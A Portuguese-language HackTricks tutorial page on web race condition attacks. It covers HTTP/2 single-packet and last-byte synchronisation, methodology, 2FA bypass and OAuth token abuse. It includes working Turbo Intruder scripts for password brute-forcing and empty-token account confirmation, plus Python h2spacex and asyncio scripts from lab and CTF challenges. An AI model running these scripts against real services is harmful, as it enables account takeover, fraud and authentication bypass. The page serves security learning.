22 KiB
Condição de Corrida
Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje mesmo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou nos siga no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.
{% hint style="warning" %} Para obter uma compreensão profunda dessa técnica, confira o relatório original em https://portswigger.net/research/smashing-the-state-machine {% endhint %}
Aperfeiçoando Ataques de Condição de Corrida
O principal obstáculo para aproveitar as condições de corrida é garantir que várias solicitações sejam tratadas ao mesmo tempo, com muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms.
Aqui você pode encontrar algumas técnicas para Sincronizar Solicitações:
Ataque de Pacote Único HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
- HTTP/2: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da variação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit de condição de corrida consistente.
- HTTP/1.1 'Sincronização de Último Byte': Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea no servidor.
A Preparação para a Sincronização de Último Byte envolve:
- Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
- Pausar por 100ms após o envio inicial.
- Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
- Fazer ping para aquecer a conexão.
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
Adaptando-se à Arquitetura do Servidor
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento preemptivo da conexão do lado do servidor, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
Lidando com Bloqueios Baseados em Sessão
Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar tokens de sessão diferentes para cada solicitação pode contornar esse problema.
Superando Limites de Taxa ou Recursos
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos de limite de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de pacote único, induzindo um atraso do lado do servidor propício a condições de corrida.
Exemplos de Ataque
- Tubo Intruder - Ataque de pacote único HTTP2 (1 endpoint): Você pode enviar a solicitação para o Turbo Intruder (
Extensões
->Turbo Intruder
->Enviar para o Turbo Intruder
), você pode alterar na solicitação o valor que deseja forçar bruta para%s
como emcsrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s
e então selecionar oexamples/race-single-packer-attack.py
no menu suspenso:
Se você for enviar valores diferentes, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
{% hint style="warning" %}
Se a web não suportar HTTP2 (apenas HTTP1.1), use Engine.THREADED
ou Engine.BURP
em vez de Engine.BURP2
.
{% endhint %}
- Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints): Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script
race-single-packet-attack.py
para algo como:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
- Também está disponível no Repeater através da nova opção 'Enviar grupo em paralelo' no Burp Suite.
- Para limit-overrun você poderia simplesmente adicionar a mesma solicitação 50 vezes no grupo.
- Para aquecimento de conexão, você poderia adicionar no início do grupo algumas solicitações para alguma parte não estática do servidor web.
- Para atrasar o processo entre o processamento de uma solicitação e outra em etapas de 2 subestados, você poderia adicionar solicitações extras entre ambas as solicitações.
- Para um RC de múltiplos pontos finais, você poderia começar enviando a solicitação que vai para o estado oculto e então 50 solicitações logo após que exploram o estado oculto.
- Script python automatizado: O objetivo deste script é alterar o e-mail de um usuário enquanto verifica continuamente até que o token de verificação do novo e-mail chegue ao último e-mail (isso ocorre porque no código estava sendo visto um RC onde era possível modificar um e-mail, mas ter a verificação enviada para o antigo porque a variável que indica o e-mail já estava populada com o primeiro).
Quando a palavra "objetivo" é encontrada nos e-mails recebidos, sabemos que recebemos o token de verificação do e-mail alterado e encerramos o ataque.
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
Brute Force Bruto
Antes da pesquisa anterior, esses eram alguns payloads usados que simplesmente tentavam enviar os pacotes o mais rápido possível para causar uma RC.
- Repetidor: Verifique os exemplos da seção anterior.
- Intruso: Envie a solicitação para o Intruso, defina o número de threads para 30 dentro do menu Opções e selecione como payload Cargas nulas e gere 30.
- Intruso Turbo
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
- Python - asyncio
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
Metodologia de RC
Limite de estouro / TOCTOU
Este é o tipo mais básico de condição de corrida onde vulnerabilidades que aparecem em lugares que limitam o número de vezes que você pode realizar uma ação. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste relatório ou neste bug.
Existem muitas variações desse tipo de ataque, incluindo:
- Resgatar um cartão-presente várias vezes
- Avaliar um produto várias vezes
- Sacar ou transferir dinheiro acima do saldo da sua conta
- Reutilizar uma solução CAPTCHA única
- Bypass de um limite de taxa anti-brute-force
Subestados ocultos
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou não intencionais da máquina. Veja como abordar isso:
- Identificar Subestados Ocultos Potenciais
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
- Armazenamento: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
- Ação: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
- Chaveamento: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
- Conduzir Sondagem Inicial
- Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
- Demonstrar a Vulnerabilidade
- Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
Ataques Sensíveis ao Tempo
A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas.
Para Explorar:
- Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
Exemplo:
- Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token.
Confira este Laboratório PortSwigger para tentar isso.
Estudos de caso de subestados ocultos
Pagar e adicionar um item
Confira este Laboratório PortSwigger para ver como pagar em uma loja e adicionar um item extra que não precisará pagar por ele.
Confirmar outros e-mails
A ideia é verificar um endereço de e-mail e alterá-lo para um diferente ao mesmo tempo para descobrir se a plataforma verifica o novo alterado.
Alterar e-mail para 2 endereços de e-mail baseados em Cookie
De acordo com esta pesquisa o Gitlab estava vulnerável a uma invasão dessa maneira porque poderia enviar o token de verificação de e-mail de um e-mail para o outro e-mail.
Confira este Laboratório PortSwigger para tentar isso.
Estados ocultos do banco de dados / Bypass de confirmação
Se 2 gravações diferentes são usadas para adicionar informações dentro de um banco de dados, há um pequeno período de tempo em que apenas os primeiros dados foram gravados no banco de dados. Por exemplo, ao criar um usuário, o nome de usuário e a senha podem ser gravados e então o token para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o token para confirmar uma conta é nulo.
Portanto, registrar uma conta e enviar várias solicitações com um token vazio (token=
ou token[]=
ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir confirmar uma conta onde você não controla o e-mail.
Confira este Laboratório PortSwigger para tentar isso.
Bypass 2FA
O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o 2FA não é aplicado enquanto a sessão é criada:
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
Persistência eterna do OAuth2
Existem vários provedores de OAuth. Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o cliente precisará permitir que seu aplicativo acesse alguns de seus dados dentro do provedor de OAuth.
Então, até aqui apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "O aplicativo <InsertCoolName> deseja acessar suas informações, você deseja permitir?"
Condição de corrida em authorization_code
O problema surge quando você aceita e automaticamente envia um authorization_code
para o aplicativo malicioso. Em seguida, este aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT (Token de Autenticação/Token de Atualização) a partir do authorization_code
para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e criará várias contas. Então, se você parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos.
Condição de corrida em Refresh Token
Uma vez que você obteve um RT válido, você poderia tentar abusar dele para gerar vários AT/RT e mesmo se o usuário cancelar as permissões para o aplicativo malicioso acessar seus dados, vários RTs ainda serão válidos.
RC em WebSockets
Em WS_RaceCondition_PoC você pode encontrar um PoC em Java para enviar mensagens de websocket em paralelo para abusar de Condições de Corrida também em Web Sockets.
Referências
- https://hackerone.com/reports/759247
- https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html
- https://hackerone.com/reports/55140
- https://portswigger.net/research/smashing-the-state-machine
- https://portswigger.net/web-security/race-conditions
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF Confira os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para o HackTricks e HackTricks Cloud github repos.
Use Trickest para construir e automatizar fluxos de trabalho com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}